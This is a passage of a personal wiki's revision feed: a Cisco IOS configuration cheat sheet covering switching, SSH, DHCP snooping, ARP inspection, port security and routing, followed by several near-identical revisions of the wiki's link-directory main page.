show interface g0/1 switchport<br />
</pre><br />
<br />
=== Show Trunk Interfaces ===<br />
<pre><br />
show int trunk<br />
</pre><br />
<br />
=== Clear Tables ===<br />
<pre><br />
clear mac address-table<br />
clear arp-cache<br />
</pre><br />
<br />
----<br />
<br />
== Telnet & Remote Access ==<br />
<br />
=== Connect via Telnet ===<br />
<pre><br />
connect {DeviceName}<br />
</pre><br />
<br />
=== Show Hosts & Sessions ===<br />
<pre><br />
show hosts<br />
show sessions<br />
</pre><br />
<br />
=== Disconnect Session ===<br />
<pre><br />
disconnect {DeviceName}<br />
</pre><br />
<br />
=== Suspend Active Session ===<br />
<pre><br />
Ctrl+Shift+6, then x<br />
</pre><br />
<br />
----<br />
<br />
== SSH Configuration ==<br />
<br />
=== Basic SSH Setup ===<br />
<pre><br />
ip domain-name cisco.com<br />
crypto key generate rsa<br />
ip ssh version 2<br />
</pre><br />
<br />
=== Remove RSA Keys ===<br />
<pre><br />
crypto key zeroize rsa<br />
</pre><br />
<br />
=== Create Local User ===<br />
<pre><br />
username admin secret ccna<br />
</pre><br />
<br />
=== Set Default Gateway ===<br />
<pre><br />
ip default-gateway 192.168.10.1<br />
</pre><br />
<br />
=== Enable SSH on VTY Lines ===<br />
<pre><br />
line vty 0 15<br />
transport input ssh<br />
login local<br />
exit<br />
</pre><br />
<br />
----<br />
<br />
== Global Configuration Mode ==<br />
<br />
=== Enter Global Config ===<br />
<pre><br />
configure terminal<br />
</pre><br />
<br />
=== Disable DNS Lookup on Typos ===<br />
<pre><br />
no ip domain-lookup<br />
</pre><br />
<br />
=== Set MOTD Banner ===<br />
<pre><br />
banner motd MESSAGEHERE<br />
</pre><br />
<br />
=== Set Hostname ===<br />
<pre><br />
hostname HOSTNAME<br />
</pre><br />
<br />
----<br />
<br />
== Line Configuration ==<br />
<br />
=== Console Line ===<br />
<pre><br />
line con 0<br />
password itsasecret<br />
login<br />
</pre><br />
<br />
=== VTY Lines ===<br />
<pre><br />
line vty 0 15<br />
password itsasecret<br />
login<br />
</pre><br />
<br />
----<br />
<br />
== Interface Configuration ==<br />
<br />
=== Interface Selection ===<br />
interface vlan 1<br />
interface fa0/1<br />
interface range fa0/2-3<br />
interface range fa0/2-3,g0/1<br />
<br />
=== Enable Interface ===<br />
no shutdown<br />
<br />
=== Assign IPv4 Address ===<br />
ip address 192.168.0.1 255.255.255.0<br />
<br />
=== Assign IPv4 Default Gateway (Switch) ===<br />
ip default-gateway 192.168.0.254<br />
<br />
=== Assign IPv4 Default Route / Default Gateway (Router) ===<br />
ip route 0.0.0.0 0.0.0.0 192.168.1.1<br />
<br />
----<br />
<br />
== Interface IPv6 Configuration ==<br />
<br />
=== Assign IPv6 Address ===<br />
<pre><br />
ipv6 address 2001:DB8:CAFE:1::1/64<br />
</pre><br />
<br />
=== Assign Link-Local Address ===<br />
<pre><br />
ipv6 address fe80::1 link-local<br />
</pre><br />
<br />
=== Remove IPv6 Addresses ===<br />
<pre><br />
no ipv6 address 2001:DB8:CAFE:1::1/64<br />
no ipv6 address<br />
</pre><br />
<br />
=== IPv6 ND Other-Config Flag ===<br />
Set the "Other Configuration" flag in IPv6 Neighbor Discovery (ND) messages. <br />
- When enabled, it signals to IPv6 hosts that they should obtain additional configuration information (such as DNS server addresses) via DHCPv6, even if they have a stateless autoconfigured address.<br />
<br />
ipv6 nd other-config-flag<br />
</pre><br />
<br />
----<br />
<br />
== VLAN Configuration ==<br />
<br />
=== Create / Configure VLAN ===<br />
<pre><br />
vlan 10<br />
name MyAwesomeVlan<br />
</pre><br />
<br />
----<br />
<br />
== Access / Trunk Switchport Configuration ==<br />
<br />
=== Access Port ===<br />
Configures the interface as an access port and assigns it to VLAN 10.<br />
switchport mode access<br />
switchport access vlan 10<br />
<br />
=== Trunk Port ===<br />
Configures the interface as a trunk port using 802.1Q encapsulation.<br />
switchport trunk encapsulation dot1q<br />
switchport mode trunk<br />
<br />
=== Trunk Allowed VLANs ===<br />
Specifies which VLANs are allowed to traverse the trunk link.<br />
switchport trunk allowed vlan 10,20,33,99<br />
<br />
=== Trunk Native VLANs ===<br />
Sets the native VLAN for untagged traffic on the trunk.<br />
switchport trunk native vlan 99<br />
<br />
=== Trunk Nonegotiate ===<br />
Disables DTP (Dynamic Trunking Protocol) negotiation on the trunk interface.<br />
switchport nonegotiate<br />
<br />
== EtherChannel Configuration ==<br />
<br />
=== Create EtherChannel (LACP Active) ===<br />
Configures interfaces to actively negotiate EtherChannel using LACP.<br />
interface range g0/1 - 2<br />
channel-group 1 mode active<br />
<br />
=== Create EtherChannel (LACP Passive) ===<br />
Configures interfaces to respond to LACP negotiation.<br />
interface range g0/1 - 2<br />
channel-group 1 mode passive<br />
<br />
=== Create EtherChannel (On Mode) ===<br />
Forces EtherChannel without negotiation protocol.<br />
interface range g0/1 - 2<br />
channel-group 1 mode on<br />
<br />
=== Configure Port-Channel as Access Port ===<br />
Applies access configuration to the logical Port-Channel interface.<br />
interface port-channel 1<br />
switchport mode access<br />
switchport access vlan 10<br />
<br />
=== Configure Port-Channel as Trunk ===<br />
Applies trunk configuration to the logical Port-Channel interface.<br />
interface port-channel 1<br />
switchport trunk encapsulation dot1q<br />
switchport mode trunk<br />
<br />
=== Verify EtherChannel ===<br />
Displays EtherChannel status and summary information.<br />
show etherchannel summary<br />
<br />
=== Verify Port-Channel Interface ===<br />
Displays detailed information about the Port-Channel interface.<br />
show interfaces port-channel 1<br />
<br />
<br />
== DHCP ==<br />
<br />
=== Configure a DHCP Server on a Cisco Router ===<br />
Assigns IP addresses automatically to clients on a network.<br />
<br />
<pre><br />
ip dhcp excluded-address 192.168.1.1 192.168.1.10<br />
! Exclude addresses that should not be assigned dynamically<br />
<br />
ip dhcp pool LAN_POOL<br />
network 192.168.1.0 255.255.255.0<br />
default-router 192.168.1.1<br />
dns-server 8.8.8.8 8.8.4.4<br />
lease 7<br />
</pre><br />
<br />
* ''excluded-address'': Prevents certain IPs from being assigned (like static IPs for servers or routers). <br />
* ''network'': Defines the subnet for DHCP clients. <br />
* ''default-router'': Sets the gateway IP for clients. <br />
* ''dns-server'': Specifies DNS servers for clients. <br />
* ''lease'': Duration the IP is valid (in days). <br />
<br />
=== Configure DHCP Relay (IP Helper) ===<br />
Forwards DHCP requests from clients to a remote DHCP server.<br />
<br />
<pre><br />
interface GigabitEthernet0/1<br />
ip address 192.168.1.1 255.255.255.0<br />
ip helper-address 192.168.2.100<br />
</pre><br />
<br />
* ''ip helper-address'': IP of the DHCP server to forward requests to. <br />
* Needed when the server is on a different subnet. <br />
<br />
=== Verify DHCP Status ===<br />
<pre><br />
show ip dhcp binding ! Shows assigned IP addresses<br />
show ip dhcp pool ! Shows pool usage and statistics<br />
show running-config ! Check DHCP configuration<br />
</pre><br />
<br />
=== Best Practices ===<br />
* Exclude static IP addresses from DHCP pools. <br />
* Use ''DHCP relay'' when clients and server are on different subnets. <br />
* Monitor DHCP bindings to prevent IP conflicts.<br />
<br />
== Spanning Tree ==<br />
<br />
=== Enable PortFast on an interface ===<br />
Use PortFast on edge/access ports that connect to end devices.<br />
<br />
interface GigabitEthernet0/1<br />
spanning-tree portfast<br />
<br />
=== Enable PortFast globally ===<br />
Enables PortFast on all access ports.<br />
<br />
spanning-tree portfast default<br />
<br />
=== Enable PortFast on a trunk (use with caution) ===<br />
Only use when the trunk connects to a single end device (not another switch).<br />
<br />
interface GigabitEthernet0/1<br />
spanning-tree portfast trunk<br />
<br />
=== Verify PortFast status ===<br />
<br />
show spanning-tree interface GigabitEthernet0/1 detail<br />
<br />
=== Disable PortFast on an interface ===<br />
<br />
interface GigabitEthernet0/1<br />
no spanning-tree portfast<br />
<br />
=== Best Practice: Enable BPDU Guard with PortFast ===<br />
Shuts down the port if a BPDU is received, protecting against loops.<br />
<br />
Per interface:<br />
interface GigabitEthernet0/1<br />
spanning-tree portfast<br />
spanning-tree bpduguard enable<br />
<br />
Globally:<br />
spanning-tree portfast default<br />
spanning-tree bpduguard default<br />
<br />
=== Notes ===<br />
* Do '''not''' enable PortFast on ports connected to other switches<br />
* Recommended for access/edge ports<br />
* Incorrect use can cause Layer 2 loops<br />
<br />
== DHCP Snooping ==<br />
<br />
=== Enable DHCP Snooping globally ===<br />
Enable DHCP Snooping for the switch.<br />
<br />
ip dhcp snooping<br />
<br />
=== Enable DHCP Snooping on a VLAN ===<br />
DHCP Snooping only operates on specified VLANs.<br />
<br />
ip dhcp snooping vlan 10<br />
ip dhcp snooping vlan 20<br />
<br />
=== Configure trusted interfaces ===<br />
Mark uplinks or ports connected to legitimate DHCP servers as trusted.<br />
<br />
interface GigabitEthernet0/1<br />
ip dhcp snooping trust<br />
<br />
=== Untrusted interfaces (default) ===<br />
Access ports are untrusted by default. DHCP server responses are blocked.<br />
<br />
interface GigabitEthernet0/2<br />
no ip dhcp snooping trust<br />
<br />
=== Configure DHCP Snooping rate limiting ===<br />
Protect against DHCP starvation attacks. Limits to 15 DHCP packets per second, will mark port as violating otherwise.<br />
<br />
interface GigabitEthernet0/2<br />
ip dhcp snooping limit rate 15<br />
<br />
=== Verify DHCP Snooping status ===<br />
<br />
show ip dhcp snooping<br />
show ip dhcp snooping binding<br />
<br />
=== Disable DHCP Snooping ===<br />
<br />
no ip dhcp snooping<br />
no ip dhcp snooping vlan 10<br />
<br />
=== Notes ===<br />
* Only trusted ports can send DHCP server messages<br />
* Access ports should remain untrusted<br />
* Commonly used with '''Dynamic ARP Inspection''' and '''IP Source Guard'''<br />
* Requires correct VLAN configuration to function properly<br />
<br />
== Dynamic ARP Inspection (DAI) ==<br />
<br />
=== Enable DAI globally ===<br />
Dynamic ARP Inspection requires DHCP Snooping to be enabled.<br />
<br />
ip arp inspection<br />
<br />
=== Enable DAI on a VLAN ===<br />
Specify which VLANs should be protected.<br />
<br />
ip arp inspection vlan 10<br />
ip arp inspection vlan 20<br />
<br />
=== Configure trusted interfaces ===<br />
Trust uplinks and ports connected to other switches or routers.<br />
<br />
interface GigabitEthernet0/1<br />
ip arp inspection trust<br />
<br />
=== Untrusted interfaces (default) ===<br />
Access ports are untrusted by default. Invalid ARP packets are dropped.<br />
<br />
interface GigabitEthernet0/2<br />
no ip arp inspection trust<br />
<br />
=== Configure ARP rate limiting ===<br />
Protect against ARP flooding attacks.<br />
<br />
interface GigabitEthernet0/2<br />
ip arp inspection limit rate 15<br />
<br />
=== Verify DAI status ===<br />
<br />
show ip arp inspection<br />
show ip arp inspection vlan<br />
show ip arp inspection interfaces<br />
<br />
=== Disable DAI ===<br />
<br />
no ip arp inspection<br />
no ip arp inspection vlan 10<br />
<br />
=== Notes ===<br />
* Requires '''DHCP Snooping''' to build the ARP binding table<br />
* Only trusted ports can send unlimited ARP replies<br />
* Access ports should remain untrusted<br />
* Commonly deployed with '''PortFast + BPDU Guard'''<br />
<br />
== Port Security ==<br />
<br />
=== View status of port security on an interface ===<br />
show port-security interface f0/1<br />
<br />
=== Activate Port Security on an interface ===<br />
The port cannot be a dynamic port:<br />
switchport mode access<br />
Enable Port Security<br />
switchport port-security<br />
<br />
=== Set the maximum number of mac addresses that can be used on that port ===<br />
switchport port-security maximum 1<br />
<br />
=== Whitelist a specific mac address ===<br />
switchport port-security mac-address 0001.6311.E7BC<br />
<br />
=== Enable sticky mode to automatically learn mac addresses ===<br />
switchport port-security mac-address sticky<br />
<br />
=== Port Security Violation Modes ===<br />
==== Protect ====<br />
Silently drops packets from unknown MAC addresses while keeping the port up and generating no alerts.<br />
switchport port-security violation protect<br />
<br />
==== Restrict ====<br />
Drops packets from unknown MAC addresses and logs the violation while incrementing the security counter.<br />
switchport port-security violation restrict<br />
<br />
==== Shutdown ====<br />
Immediately disables the port when an unknown MAC address is detected, placing it into an error-disabled state.<br />
switchport port-security violation shutdown<br />
<br />
=== Port Security Aging ===<br />
==== Enable static aging on an interface ====<br />
switchport port-security aging static<br />
<br />
==== Enable timed aging on an interface (5 minutes) ====<br />
switchport port-security aging time 5<br />
<br />
= Routing =<br />
<br />
Routing is the process of forwarding packets between different networks using routing tables and routing protocols.<br />
<br />
=== Enable IP Routing (Layer 3 Switch) ===<br />
Required on multilayer switches to allow routing between VLANs.<br />
<br />
ip routing<br />
<br />
=== Enable IPv6 Routing (Routers) ===<br />
<br />
ipv6 unicast-routing<br />
<br />
== Static Routing ==<br />
<br />
=== Configure a Static Route ===<br />
Manually define a path to a remote network.<br />
<br />
ip route 192.168.2.0 255.255.255.0 192.168.1.1<br />
<br />
Format:<br />
ip route <destination-network> <subnet-mask> <next-hop-ip><br />
<br />
<br />
=== Configure a Default Route / Default Gateway ===<br />
Route used when no specific route matches the destination.<br />
<br />
ip route 0.0.0.0 0.0.0.0 192.168.1.1<br />
<br />
== Dynamic Routing ==<br />
<br />
Dynamic routing protocols automatically exchange routing information between routers.<br />
<br />
=== Configure RIP v2 ===<br />
Uses hop count as metric (maximum 15 hops).<br />
<br />
router rip<br />
version 2<br />
no auto-summary<br />
network 192.168.1.0<br />
<br />
<br />
=== Configure EIGRP ===<br />
Uses bandwidth and delay as composite metric.<br />
<br />
router eigrp 100<br />
no auto-summary<br />
network 192.168.1.0 0.0.0.255<br />
<br />
<br />
=== Configure OSPF ===<br />
Link-state protocol using cost as metric.<br />
<br />
router ospf 1<br />
network 192.168.1.0 0.0.0.255 area 0<br />
<br />
<br />
== Route Summarization ==<br />
<br />
Route summarization (aggregation) reduces routing table size by advertising one route that represents multiple networks.<br />
<br />
Example networks:<br />
192.168.0.0/24<br />
192.168.1.0/24<br />
192.168.2.0/24<br />
192.168.3.0/24<br />
<br />
Can be summarized as:<br />
192.168.0.0/22<br />
<br />
<br />
=== Configure Manual Summarization (EIGRP) ===<br />
Applied on the outgoing interface.<br />
<br />
interface GigabitEthernet0/0<br />
ip summary-address eigrp 100 192.168.0.0 255.255.252.0<br />
<br />
<br />
=== Configure Manual Summarization (OSPF ABR) ===<br />
Configured under the OSPF process (on an ABR).<br />
<br />
router ospf 1<br />
area 0 range 192.168.0.0 255.255.252.0<br />
<br />
<br />
== Administrative Distance ==<br />
<br />
Determines which route is preferred when multiple routes to the same destination exist.<br />
<br />
Common values:<br />
Connected – 0<br />
Static – 1<br />
EIGRP – 90<br />
OSPF – 110<br />
RIP – 120<br />
<br />
<br />
== Show Routing Information ==<br />
<br />
=== View Routing Table ===<br />
<br />
show ip route<br />
<br />
<br />
=== View Specific Route ===<br />
<br />
show ip route 192.168.1.0<br />
<br />
<br />
=== View Routing Protocol Information ===<br />
<br />
show ip protocols</div>
50.220.241.211
https://wiki.luccapirovano.com/index.php?title=Main_Page&diff=1114
Main Page
2026-02-23T19:37:08Z
<p>50.220.241.211: </p>
<hr />
<div><strong>Welcome to Lucca's Knowledgebase</strong><br />
<hr><br />
<br />
Windows: |<br />
[[Commands]] | [[Win+R Shortcuts]] | [[Windows Keyboard Shortcuts]] | [[Remote Desktop Setup]] | [[End of Life]] | [[Make CMD Open Faster on Windows 11]] | [[Hyper-V on Windows Home]] | [[Domain Setup from Scratch on Server Core]] | [[Example User onboarding & offboarding Scripts for 365]] | [[Keyboard Navigation Scripts]] | [[Registry Tweaks/Fixes]]<br />
<br />
<hr><br />
<br />
Linux: | [[Distro Download Links]] | [[Linux Commands|Commands]] | [[Docker-Compose]] | [[Bashrc/Zshrc Setup]] | [https://arachnoid.com/SecureShell/index.html Arachnoid.com: How to use SSH] [https://kirbfeels.luccapirovano.com/library/ArchivalPurposes/wiki-files/How%20to%20Use%20Secure%20Shell.pdf pdf] | [[Libvirt Setup]] | [[VFIO GPU Passthrough Setup]] | [[VFIO Anti-Cheat Bypass Tools]] | [[Xubuntu Mac Conversion Guide]] | [[Ungoogled Chromium Debian]] | [[Docker Installation on Debian]] | [[Infared Reciever w/ Alpine on the Bulldozer Datto]] | [[Numpad hotkeys on linux]] | [[Split a monitor in two]] | [[Make a udev rule]] | [[Type Unicode Characters]] | [[Screen Recording Options]] | [[Microsoft Authenticator]] | [https://www.debugpoint.com/kvm-share-folder-windows-guest/ Setup A Share Folder between a Linux host and Windows Guest] [https://kirbfeels.luccapirovano.com/library/ArchivalPurposes/wiki-files/Share%20Folder%20Between%20Windows%20Guest%20and%20Linux%20Host%20in%20KVM%20using%20virtiofs.pdf pdf] | [[Perform actions based on notification content]]<br />
<br />
<hr><br />
<br />
Pentesting: | [[Performing a SYN flood attack]]<br />
<br />
<hr><br />
<br />
MacOS: | [[OSX Commands]]<br />
<br />
<hr><br />
<br />
Javascript: | [[VM Userscript to disable website right-click and copy-blocking]]<br />
<br />
<hr><br />
<br />
Python: | [[Math Operators]] | [[Python Examples|Examples]]<br />
<br />
<hr><br />
<br />
Cisco: | [[Cisco Commands|Commands]] | [[Cisco Keyboard Shortcuts|Keyboard Shortcuts]] | [[Example configuration files]] | [[Ethernet: Straight-through VS Crossover Cable]] | [https://en.wikipedia.org/wiki/Path_MTU_Discovery Path MTU Discovery] | [[ipv6]] | [[802.1q]] (Vlan Tagging) | [[WAP Arrangement]] | [https://en.wikipedia.org/wiki/VLAN_hopping Wikipedia - Vlan Hopping]<br />
<br />
<hr><br />
<br />
Robotics: | [[Nao Robot]]<br />
<br />
<hr><br />
<br />
Retro Tech: |<br />
[[Analog Video Articles]] | [[Modeline Generators]] | [https://github.com/antonioginer/ATOM-15 ATOM-15: AMD/ATI Card 15khz bios] | [https://luigiblood.tumblr.com/post/711882982704726016/everything-datamined-about-gba-nso-so-far Deep Dive into Nintendo Switch NSO GBA Link Cable Emulation] [https://kirbfeels.luccapirovano.com/library/ArchivalPurposes/wiki-files/Yakumono's%20Blog_%20Everything%20datamined%20about%20GB_A%20NSO%20so%20far..pdf pdf]<br />
<br />
<hr><br />
<br />
Digital Archives: |<br />
[https://archive.org archive.org] | [https://kirbfeels.luccapirovano.com/library/ArchivalPurposes kirb.feels archive] [https://en.wikipedia.org/wiki/Library_Genesis Library Genesis]<br />
<br />
<hr><br />
<br />
Open Source Intelligence: | <br />
[https://osintframework.com/ OsINT Framework] | [https://www.usphonebook.com/ USPhoneBook]<br />
<br />
<hr><br />
<br />
[https://kirbfeels.luccapirovano.com/library/ArchivalPurposes/wiki-files/happy%20monday/YdGUYXws5mD2fxFKxg.webp ☕Happy Monday =D] [https://kirbfeels.luccapirovano.com/library/ArchivalPurposes/wiki-files/happy%20monday/giphy.webp ☕Bom Dia =D] [https://kirbfeels.luccapirovano.com/library/ArchivalPurposes/wiki-files/happy%20monday/tenor.gif ☕??????]<br />
<br />
<hr></div>
50.220.241.211
https://wiki.luccapirovano.com/index.php?title=Main_Page&diff=1113
Main Page
2026-02-23T19:36:51Z
<p>50.220.241.211: </p>
<hr />
<div><strong>Welcome to Lucca's Knowledgebase</strong><br />
<hr><br />
<br />
Windows: |<br />
[[Commands]] | [[Win+R Shortcuts]] | [[Windows Keyboard Shortcuts]] | [[Remote Desktop Setup]] | [[End of Life]] | [[Make CMD Open Faster on Windows 11]] | [[Hyper-V on Windows Home]] | [[Domain Setup from Scratch on Server Core]] | [[Example User onboarding & offboarding Scripts for 365]] | [[Keyboard Navigation Scripts]] | [[Registry Tweaks/Fixes]]<br />
<br />
<hr><br />
<br />
Linux: | [[Distro Download Links]] | [[Linux Commands|Commands]] | [[Docker-Compose]] | [[Bashrc/Zshrc Setup]] | [https://arachnoid.com/SecureShell/index.html Arachnoid.com: How to use SSH] [https://kirbfeels.luccapirovano.com/library/ArchivalPurposes/wiki-files/How%20to%20Use%20Secure%20Shell.pdf pdf] | [[Libvirt Setup]] | [[VFIO GPU Passthrough Setup]] | [[VFIO Anti-Cheat Bypass Tools]] | [[Xubuntu Mac Conversion Guide]] | [[Ungoogled Chromium Debian]] | [[Docker Installation on Debian]] | [[Infared Reciever w/ Alpine on the Bulldozer Datto]] | [[Numpad hotkeys on linux]] | [[Split a monitor in two]] | [[Make a udev rule]] | [[Type Unicode Characters]] | [[Screen Recording Options]] | [[Microsoft Authenticator]] | [https://www.debugpoint.com/kvm-share-folder-windows-guest/ Setup A Share Folder between a Linux host and Windows Guest] [https://kirbfeels.luccapirovano.com/library/ArchivalPurposes/wiki-files/Share%20Folder%20Between%20Windows%20Guest%20and%20Linux%20Host%20in%20KVM%20using%20virtiofs.pdf pdf] | [[Perform actions based on notification content]]<br />
<br />
<hr><br />
<br />
Pentesting: | [[Performing a SYN flood attack]]<br />
<br />
<hr><br />
<br />
MacOS: | [[OSX Commands]]<br />
<br />
<hr><br />
<br />
Javascript: | [[VM Userscript to disable website right-click and copy-blocking]]<br />
<br />
<hr><br />
<br />
Python: | [[Math Operators]] | [[Python Examples|Examples]]<br />
<br />
<hr><br />
<br />
Cisco: | [[Cisco Commands|Commands]] | [[Cisco Keyboard Shortcuts|Keyboard Shortcuts]] | [[Example configuration files]] | [[Ethernet: Straight-through VS Crossover Cable]] | [https://en.wikipedia.org/wiki/Path_MTU_Discovery Path MTU Discovery] | [[ipv6]] | [[802.1q]] (Vlan Tagging) | [[WAP Arrangement]] [[https://en.wikipedia.org/wiki/VLAN_hopping Wikipedia - Vlan Hopping]]<br />
<br />
<hr><br />
<br />
Robotics: | [[Nao Robot]]<br />
<br />
<hr><br />
<br />
Retro Tech: |<br />
[[Analog Video Articles]] | [[Modeline Generators]] | [https://github.com/antonioginer/ATOM-15 ATOM-15: AMD/ATI Card 15khz bios] | [https://luigiblood.tumblr.com/post/711882982704726016/everything-datamined-about-gba-nso-so-far Deep Dive into Nintendo Switch NSO GBA Link Cable Emulation] [https://kirbfeels.luccapirovano.com/library/ArchivalPurposes/wiki-files/Yakumono's%20Blog_%20Everything%20datamined%20about%20GB_A%20NSO%20so%20far..pdf pdf]<br />
<br />
<hr><br />
<br />
Digital Archives: |<br />
[https://archive.org archive.org] | [https://kirbfeels.luccapirovano.com/library/ArchivalPurposes kirb.feels archive] [https://en.wikipedia.org/wiki/Library_Genesis Library Genesis]<br />
<br />
<hr><br />
<br />
Open Source Intelligence: | <br />
[https://osintframework.com/ OsINT Framework] | [https://www.usphonebook.com/ USPhoneBook]<br />
<br />
<hr><br />
<br />
[https://kirbfeels.luccapirovano.com/library/ArchivalPurposes/wiki-files/happy%20monday/YdGUYXws5mD2fxFKxg.webp ☕Happy Monday =D] [https://kirbfeels.luccapirovano.com/library/ArchivalPurposes/wiki-files/happy%20monday/giphy.webp ☕Bom Dia =D] [https://kirbfeels.luccapirovano.com/library/ArchivalPurposes/wiki-files/happy%20monday/tenor.gif ☕??????]<br />
<br />
<hr></div>
50.220.241.211
https://wiki.luccapirovano.com/index.php?title=Main_Page&diff=1112
Main Page
2026-02-23T19:36:36Z
<p>50.220.241.211: </p>
<hr />
<div><strong>Welcome to Lucca's Knowledgebase</strong><br />
<hr><br />
<br />
Windows: |<br />
[[Commands]] | [[Win+R Shortcuts]] | [[Windows Keyboard Shortcuts]] | [[Remote Desktop Setup]] | [[End of Life]] | [[Make CMD Open Faster on Windows 11]] | [[Hyper-V on Windows Home]] | [[Domain Setup from Scratch on Server Core]] | [[Example User onboarding & offboarding Scripts for 365]] | [[Keyboard Navigation Scripts]] | [[Registry Tweaks/Fixes]]<br />
<br />
<hr><br />
<br />
Linux: | [[Distro Download Links]] | [[Linux Commands|Commands]] | [[Docker-Compose]] | [[Bashrc/Zshrc Setup]] | [https://arachnoid.com/SecureShell/index.html Arachnoid.com: How to use SSH] [https://kirbfeels.luccapirovano.com/library/ArchivalPurposes/wiki-files/How%20to%20Use%20Secure%20Shell.pdf pdf] | [[Libvirt Setup]] | [[VFIO GPU Passthrough Setup]] | [[VFIO Anti-Cheat Bypass Tools]] | [[Xubuntu Mac Conversion Guide]] | [[Ungoogled Chromium Debian]] | [[Docker Installation on Debian]] | [[Infared Reciever w/ Alpine on the Bulldozer Datto]] | [[Numpad hotkeys on linux]] | [[Split a monitor in two]] | [[Make a udev rule]] | [[Type Unicode Characters]] | [[Screen Recording Options]] | [[Microsoft Authenticator]] | [https://www.debugpoint.com/kvm-share-folder-windows-guest/ Setup A Share Folder between a Linux host and Windows Guest] [https://kirbfeels.luccapirovano.com/library/ArchivalPurposes/wiki-files/Share%20Folder%20Between%20Windows%20Guest%20and%20Linux%20Host%20in%20KVM%20using%20virtiofs.pdf pdf] | [[Perform actions based on notification content]]<br />
<br />
<hr><br />
<br />
Pentesting: | [[Performing a SYN flood attack]]<br />
<br />
<hr><br />
<br />
MacOS: | [[OSX Commands]]<br />
<br />
<hr><br />
<br />
Javascript: | [[VM Userscript to disable website right-click and copy-blocking]]<br />
<br />
<hr><br />
<br />
Python: | [[Math Operators]] | [[Python Examples|Examples]]<br />
<br />
<hr><br />
<br />
Cisco: | [[Cisco Commands|Commands]] | [[Cisco Keyboard Shortcuts|Keyboard Shortcuts]] | [[Example configuration files]] | [[Ethernet: Straight-through VS Crossover Cable]] | [https://en.wikipedia.org/wiki/Path_MTU_Discovery Path MTU Discovery] | [[ipv6]] | [[802.1q]] (Vlan Tagging) | [[WAP Arrangement]] [https://en.wikipedia.org/wiki/VLAN_hopping Wikipedia - Vlan Hopping]<br />
<br />
<hr><br />
<br />
Robotics: | [[Nao Robot]]<br />
<br />
<hr><br />
<br />
Retro Tech: |<br />
[[Analog Video Articles]] | [[Modeline Generators]] | [https://github.com/antonioginer/ATOM-15 ATOM-15: AMD/ATI Card 15khz bios] | [https://luigiblood.tumblr.com/post/711882982704726016/everything-datamined-about-gba-nso-so-far Deep Dive into Nintendo Switch NSO GBA Link Cable Emulation] [https://kirbfeels.luccapirovano.com/library/ArchivalPurposes/wiki-files/Yakumono's%20Blog_%20Everything%20datamined%20about%20GB_A%20NSO%20so%20far..pdf pdf]<br />
<br />
<hr><br />
<br />
Digital Archives: |<br />
[https://archive.org archive.org] | [https://kirbfeels.luccapirovano.com/library/ArchivalPurposes kirb.feels archive] [https://en.wikipedia.org/wiki/Library_Genesis Library Genesis]<br />
<br />
<hr><br />
<br />
Open Source Intelligence: | <br />
[https://osintframework.com/ OsINT Framework] | [https://www.usphonebook.com/ USPhoneBook]<br />
<br />
<hr><br />
<br />
[https://kirbfeels.luccapirovano.com/library/ArchivalPurposes/wiki-files/happy%20monday/YdGUYXws5mD2fxFKxg.webp ☕Happy Monday =D] [https://kirbfeels.luccapirovano.com/library/ArchivalPurposes/wiki-files/happy%20monday/giphy.webp ☕Bom Dia =D] [https://kirbfeels.luccapirovano.com/library/ArchivalPurposes/wiki-files/happy%20monday/tenor.gif ☕??????]<br />
<br />
<hr></div>
50.220.241.211
https://wiki.luccapirovano.com/index.php?title=Main_Page&diff=1111
Main Page
2026-02-23T19:27:16Z
<p>50.220.241.211: </p>
<hr />
<div><strong>Welcome to Lucca's Knowledgebase</strong><br />
<hr><br />
<br />
Windows: |<br />
[[Commands]] | [[Win+R Shortcuts]] | [[Windows Keyboard Shortcuts]] | [[Remote Desktop Setup]] | [[End of Life]] | [[Make CMD Open Faster on Windows 11]] | [[Hyper-V on Windows Home]] | [[Domain Setup from Scratch on Server Core]] | [[Example User onboarding & offboarding Scripts for 365]] | [[Keyboard Navigation Scripts]] | [[Registry Tweaks/Fixes]]<br />
<br />
<hr><br />
<br />
Linux: | [[Distro Download Links]] | [[Linux Commands|Commands]] | [[Docker-Compose]] | [[Bashrc/Zshrc Setup]] | [https://arachnoid.com/SecureShell/index.html Arachnoid.com: How to use SSH] [https://kirbfeels.luccapirovano.com/library/ArchivalPurposes/wiki-files/How%20to%20Use%20Secure%20Shell.pdf pdf] | [[Libvirt Setup]] | [[VFIO GPU Passthrough Setup]] | [[VFIO Anti-Cheat Bypass Tools]] | [[Xubuntu Mac Conversion Guide]] | [[Ungoogled Chromium Debian]] | [[Docker Installation on Debian]] | [[Infared Reciever w/ Alpine on the Bulldozer Datto]] | [[Numpad hotkeys on linux]] | [[Split a monitor in two]] | [[Make a udev rule]] | [[Type Unicode Characters]] | [[Screen Recording Options]] | [[Microsoft Authenticator]] | [https://www.debugpoint.com/kvm-share-folder-windows-guest/ Setup A Share Folder between a Linux host and Windows Guest] [https://kirbfeels.luccapirovano.com/library/ArchivalPurposes/wiki-files/Share%20Folder%20Between%20Windows%20Guest%20and%20Linux%20Host%20in%20KVM%20using%20virtiofs.pdf pdf] | [[Perform actions based on notification content]]<br />
<br />
<hr><br />
<br />
Pentesting: | [[Performing a SYN flood attack]]<br />
<br />
<hr><br />
<br />
MacOS: | [[OSX Commands]]<br />
<br />
<hr><br />
<br />
Javascript: | [[VM Userscript to disable website right-click and copy-blocking]]<br />
<br />
<hr><br />
<br />
Python: | [[Math Operators]] | [[Python Examples|Examples]]<br />
<br />
<hr><br />
<br />
Cisco: | [[Cisco Commands|Commands]] | [[Cisco Keyboard Shortcuts|Keyboard Shortcuts]] | [[Example configuration files]] | [[Ethernet: Straight-through VS Crossover Cable]] | [https://en.wikipedia.org/wiki/Path_MTU_Discovery Path MTU Discovery] | [[ipv6]] | [[802.1q]] (Vlan Tagging) | [[WAP Arrangement]]<br />
<br />
<hr><br />
<br />
Robotics: | [[Nao Robot]]<br />
<br />
<hr><br />
<br />
Retro Tech: |<br />
[[Analog Video Articles]] | [[Modeline Generators]] | [https://github.com/antonioginer/ATOM-15 ATOM-15: AMD/ATI Card 15khz bios] | [https://luigiblood.tumblr.com/post/711882982704726016/everything-datamined-about-gba-nso-so-far Deep Dive into Nintendo Switch NSO GBA Link Cable Emulation] [https://kirbfeels.luccapirovano.com/library/ArchivalPurposes/wiki-files/Yakumono's%20Blog_%20Everything%20datamined%20about%20GB_A%20NSO%20so%20far..pdf pdf]<br />
<br />
<hr><br />
<br />
Digital Archives: |<br />
[https://archive.org archive.org] | [https://kirbfeels.luccapirovano.com/library/ArchivalPurposes kirb.feels archive] [https://en.wikipedia.org/wiki/Library_Genesis Library Genesis]<br />
<br />
<hr><br />
<br />
